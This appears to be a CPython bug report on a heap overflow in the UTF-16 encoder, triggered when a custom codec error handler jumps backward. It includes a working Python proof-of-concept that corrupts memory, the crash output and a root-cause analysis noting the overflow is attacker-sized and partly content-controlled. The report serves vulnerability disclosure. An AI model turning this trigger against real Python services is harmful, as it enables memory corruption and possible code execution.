_PyUnicode_EncodeUTF16 backward error-handler under-reserve leading to heap overflow

[error-3317]

Crash report

PoC

import codecs

S = ('\U00010000' * 256) + '\ud800'
calls = []
def backjump(exc):
    calls.append(exc.start)
    return (b'', 0) if len(calls) == 1 else (b'', exc.end)
codecs.register_error('backjump', backjump) 

try:
    out = S.encode('utf-16', 'backjump')
    print("UNEXPECTED SUCCESS len =", len(out))
except ValueError as e:
    print("ValueError:", e)
print("handler positions:", calls)

Output

$ python3 -X faulthandler main.py
ValueError: invalid end pointer
handler positions: [64, 64]
double free or corruption (out)
Fatal Python error: Aborted

Current thread 0x00007f13550e6740 [python3.15] (most recent call first):
  Garbage-collecting

Current thread's C stack trace (most recent call first):
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _Py_DumpStack+0x30 [0x4f0b80]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x59968b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x5995de]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x3c050 [0x7f1354dc5050]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x8aeec [0x7f1354e13eec]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at gsignal+0x12 [0x7f1354dc4fb2]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at abort+0xd3 [0x7f1354daf472]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x7f42f [0x7f1354e0842f]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x9486a [0x7f1354e1d86a]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x968d0 [0x7f1354e1f8d0]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at __libc_free+0x6f [0x7f1354e21f5f]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a01dce]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1bc2322]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _Py_Dealloc+0x51 [0x1a01b59]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a1431b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a1401f]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1cc7da4]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8f2e0]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8e0d4]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at Py_RunMain+0x29a [0x1b8ceda]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8cc1d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8ca6e]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x2724a [0x7f1354db024a]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at __libc_start_main+0x85 [0x7f1354db0305]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _start+0x29 [0x1be5437]

Root Cause

Objects/unicodeobject.c:6401: moreunits += pos - newpos reserves 2 bytes per re-traversed char while ucs4lib_utf16_encode emits 4 bytes per non-BMP char through the unchecked out pointer; PyBytesWriter_Create(nsize*2) (:6329) is exact-single-pass with zero slack.

On a backward newpos from a custom encode error handler, the reserve is wrong by 2 bytes per non-BMP character in the re-encoded range. Backward positions are contract-legal (the docs permit them; CPython's own test suite exercises them: test_codeccallbacks.py PosReturn pos -1/-2; the utf-8/ucs1 encoders implement backward-jump growth deliberately), so the encoder corrupts memory for contract-compliant handler input. Sibling differential: UTF-32 reserves 4B/char, UTF-8 reserves max_char_size, latin-1 reserves 1B/char: only UTF-16 mis-computes. Overflow is attacker-sized and unbounded (repeated backward jumps), partially content-controlled (valid surrogate pairs of chosen astral code points; in LE, 2 of every 4 bytes fully chosen).

Versions Affected

Python 3.10+

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.15.0rc3 (main, Oct 3 2026, 01:07:55) [Clang 22.1.3 ]